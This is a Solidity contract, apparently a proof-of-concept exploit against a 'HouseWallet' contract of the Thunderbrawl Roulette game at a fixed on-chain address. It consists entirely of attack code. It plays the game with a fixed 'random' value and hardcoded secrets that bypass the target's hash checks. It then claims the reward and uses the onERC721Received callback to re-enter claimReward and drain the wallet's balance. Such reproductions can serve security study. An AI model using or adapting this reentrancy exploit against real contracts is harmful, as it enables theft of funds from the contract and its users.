1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10;
interface IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } interface HouseWallet{ function winners(uint256 id, address player) view external returns(uint256); function claimReward( uint256 _ID, address payable _player, uint256 _amount, bool _rewardStatus, uint256 _x, string memory name, address _add ) external; function shoot( uint256 random, uint256 gameId, bool feestate, uint256 _x, string memory name, address _add, bool nftcheck, bool dystopianCheck ) external payable; }
contract ContractTest{
HouseWallet houseWallet = HouseWallet(0xae191Ca19F0f8E21d754c6CAb99107eD62B6fe53); uint256 randomNumber = 12345678000000000000000000;
uint256 gameId = 1; bool feestate = false; // sha256(abi.encode(_x, name, _add)) == hashValueTwo maybe off-chain calculate uint256 _x = 2845798969920214568462001258446; string name = "HATEFUCKINGHACKERSTHEYNEVERCANHACKTHISIHATEPREVIOUS"; address _add = 0x6Ee709bf229c7C2303128e88225128784c801ce1;
bool nftcheck = true; bool dystopianCheck = true;
address payable add = payable(address(this)); bool _rewardStatus = true; // sha256(abi.encode(_x, name, _add)) == hashValue maybe off-chain calculate uint256 _x1 = 969820990102090205468486; string name1 = "WELCOMETOTHUNDERBRAWLROULETTENOWYOUWINTHESHOOTINGGAME"; IERC721 THBR = IERC721(0x72e901F1bb2BfA2339326DfB90c5cEc911e2ba3C); // Thunderbrawl Roulette Contract
receive() external payable {}
function attack() public{ houseWallet.shoot{value: 0.32 ether}(randomNumber, gameId, feestate, _x, name, _add, nftcheck, dystopianCheck); uint256 _amount = houseWallet.winners(gameId, add); houseWallet.claimReward(gameId, add, _amount, _rewardStatus, _x1, name1, _add); } function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes calldata _data ) payable external returns (bytes4){ uint256 _amount = houseWallet.winners(gameId, add); if(address(houseWallet).balance >= _amount * 2){ houseWallet.claimReward(gameId, add, _amount, _rewardStatus, _x1, name1, _add); } return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")); } }
|